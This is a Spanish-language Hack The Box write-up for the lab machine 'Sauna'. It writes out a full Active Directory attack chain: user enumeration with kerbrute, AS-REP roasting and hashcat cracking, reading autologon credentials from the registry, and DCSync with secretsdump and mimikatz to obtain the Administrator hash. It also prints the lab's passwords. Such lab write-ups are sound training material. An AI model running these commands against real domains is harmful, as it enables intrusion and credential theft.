Resumen
Sauna es una máquina Windows de dificultad fácil de la plataforma de Hack The Box, incluye conceptos de explotación de Active Directory y enumeración básica.
Comenzaremos por encontrar usuarios potenciales a través de enumeración LDAP y WEB. Con estos, se aplicará una validación de usuarios contra kerberos para descartar los que no resulten válidos y realizar asreproast para obtener un hash, crackearlo y posteriormente obtener una consola como un usuario de bajos privlegios. Dentro del sistema, será posible enumerar y encontrar credenciales autologon para otro usuario y pivotar a él. Este usuario tendrá privilegios para ejecutar un ataque DCSync y obtener el hash del usuario Administrador, con el que será posible ingresar directamente utilizando WinRM.
Enumeración
Rustscan - NMAP
Como siempre, se iniciará realizando un escaneo general de los 65535 puertos. En este caso se utilizará Rustscan, proporcionando comandos de nmap para realizar el escaneo desde un one-liner.
rustscan 10.10.10.100 -- -sC -sV | tee services.nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
Faster Nmap scanning with Rust.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.10.175:53
Open 10.10.10.175:80
Open 10.10.10.175:88
Open 10.10.10.175:135
Open 10.10.10.175:139
Open 10.10.10.175:389
Open 10.10.10.175:445
Open 10.10.10.175:464
Open 10.10.10.175:593
Open 10.10.10.175:636
Open 10.10.10.175:3268
Open 10.10.10.175:3269
Open 10.10.10.175:5985
Open 10.10.10.175:9389
Open 10.10.10.175:49667
Open 10.10.10.175:49673
Open 10.10.10.175:49674
Open 10.10.10.175:49676
Open 10.10.10.175:49695
(...)
PORT STATE SERVICE REASON VERSION
53/tcp open domain? syn-ack
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
80/tcp open http syn-ack Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2022-01-21 07:27:16Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack .NET Message Framing
49667/tcp open msrpc syn-ack Microsoft Windows RPC
49673/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc syn-ack Microsoft Windows RPC
49676/tcp open msrpc syn-ack Microsoft Windows RPC
49695/tcp open msrpc syn-ack Microsoft Windows RPC
Desde el output podemos obtener que los servicios: LDAP
, RPC
, HTTP
, SMB
, WinRM
y Kerberos
se encuentran abiertos, los cuales son ideales para comenzar la enumeración. Adicionalmente Nmap nos indica que el dominio al cual pertenece la máquina es: EGOTISTICAL-BANK.LOCAL
.
SMB
Comenzando con el servicio SMB
, se intenta enumerar información adicional con una autenticación de usuario null.
Como era de esperar, no es posible enumerar recursos compartidos sin credenciales válidas.
RPC
Se intenta lo mismo con RPC sin tener éxito.
LDAP
Ya que aún no disponemos de credenciales dentro de la máquina, lo que se puede hacer es lanzar un script de enumeración de nmap para intentar obtener algo de información.
1
nmap -n -sV --script "ldap* and not brute" 10.10.10.175
Con este método se identifica el usuario Hugo Smith como un usuario válido del sistema.
Enumeración Web
Con respecto al puerto 80, lo primero que se visualiza al entrar es una presunta landpage de un banco llamado Egotistical Bank
Husmeando por la web, llegamos a la ruta /about
en donde hay nombres de “colaboradores”, los cuales son usuarios potenciales del sistema.
Se obtienen los siguientes nombres:
- Fergus Smith
- Hugo Bear
- Steven Kerb
- Shaun Coins
- Bowie Taylor
- Sophie Driver
En este punto, podemos utilizar la herramienta Kerbrute para validar estos usuarios. Pero antes de esto, sería importante saber en qué formato están creados los usuarios dentro del dominio, es decir, su samAccountName o nombre de login. Tomaremos como ejemplo el primer usuario obtenido, Hugo Smith e intentaremos distintos formatos para conocer la estructura.
Ejecutaremos kerbrute con la siguiente lista de usuarios para conocer el formato.
1
2
3
4
5
hugo_smith
hugo.smith
hugosmith
hugo-smith
hsmith
kerbrute userenum users.txt --dc 10.10.10.175 -d EGOTISTICAL-BANK.LOCAL
Y tenemos un match con el usuario hsmith, con esto ya podemos construir la lista con el resto de nombres.
1
2
3
4
5
6
7
hsmith
fsmith
hbear
skerb
scoins
btaylor
sdriver
ASREPRoast
Con la información obtenida, se podría intentar un ataque de tipo AS-REP Roast, el cual consiste en abusar del atributo DONT_REQ_PREAUTH
en la configuración del usuario, de esta forma obtendremos un TGT o hash que es posible crackear de manera offline con john the ripper o hashcat.
Para realizar este ataque existen varias opciones, en este caso estaremos utilizando GetNPUsers.py de Impacket y el módulo ASREPROAST de CrackMapExec.
GetNPUsers
GetNPUsers.py -usersfile users.txt -no-pass -request EGOTISTICAL-BANK.LOCAL/ -dc-ip 10.10.10.175
CrackmapExec
cme ldap 10.10.10.175 -u users.txt -p '' --asreproast hashes.txt --kdcHost 10.10.10.175
De todos los usuarios en la lista, solo el user fsmith es vulnerable a asreproast y se obtiene su hash.
Ganando Acceso - user fsmith
Ambos hashes serán válidos y podrán ser crackeados por ambas herramientas mencionadas anteriormente. En esta ocasión utilizaremos hashcat.
Para descubrir que módo se debe utilizar, podemos listar los hashes de ejemplo con --example-hashes
y filtrar por la cadena de inicio del hash.
Ahora, consultando el panel de ayuda hashcat -h
vemos un ejemplo de ejecución utilizando un wordlist.
Entonces tendríamos lo siguiente:
hashcat -a 0 -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt
Se consigue la contraseña Thestrokes23
. Inmeditanamente la validamos contra el servicio WinRM y tenemos acceso.
Escalando privilegios - user svc_loanmgr
Ya una vez dentro de Sauna, procederemos a realizar enumeración básica y con net users
se descubre un nuevo usuario: svc_loanmgr
.
Esto también puede ser enumerado con la ayuda de CrackMapExec haciendo un bruteforcing de usuarios en base a su RID
.
Continuando, pasamos a buscar credenciales que pudieran estar guardadas en el registro, es decir, contraseñas autologon. Esto se puede realizar con una query desde consola o bien utilizando winPEAS.
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
Se obtiene la contraseña para el usuario svc_loanmgr
. Al chequear las credenciales contra el servicio WinRM, vemos que también se encuentra en el grupo Remote Management Users.
Escalando privilegios - root
Ahora que tenemos acceso al user svc_loanmgr
aplicaremos un reconocimiento con la ayuda de bloodhound. Para esta ocasión se utilizará la versión en python que se puede lanzar remotamente.
Bloodhound
bloodhound-python -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' -d EGOTISTICAL-BANK.LOCAL -ns 10.10.10.175 -c all
Se obtienen cuatro archivos con la información extraída y procederemos a subirlos a BloodHound
Información adicional sobre bloodhound: Hacktricks
Una vez la data ha sido importada, buscaremos entidades con permisos para ejecutar un ataque DCSync.
Más información sobre DCSync y su explotación: HackTricks
Desde la pestaña Analysis seleccionaremos Find Principals with DCSync Rights, esto automáticamente nos dará una lista de los usuarios/grupos que tengan los permisos necesarios para aplicar el ataque.
El user svc_loanmgr posee los permisos GetChanges
y GetChangesAll
.
DCSync
Secretsdump
Con esta información, ya se puede realizar el DCSync remotamente utilizando secretsdump.py
de impacket.
secretsdump.py EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175
Mimikatz
Otra forma de aplicar DCSync (localmente), sería subir a la máquina el binario de mimikatz.exe
y ejecutar la siguiente instrucción.
.\mimikatz.exe 'lsadump::dcsync /domain:egotistical-bank.local /user:Administrator' exit
Con el hash del usuario Administrador
obtenido, intentaremos ingresar por WinRM directamente, ya que no es necesario crackearlo.
Por último, listaremos las flags.
¡Happy Hacking and keep grinding!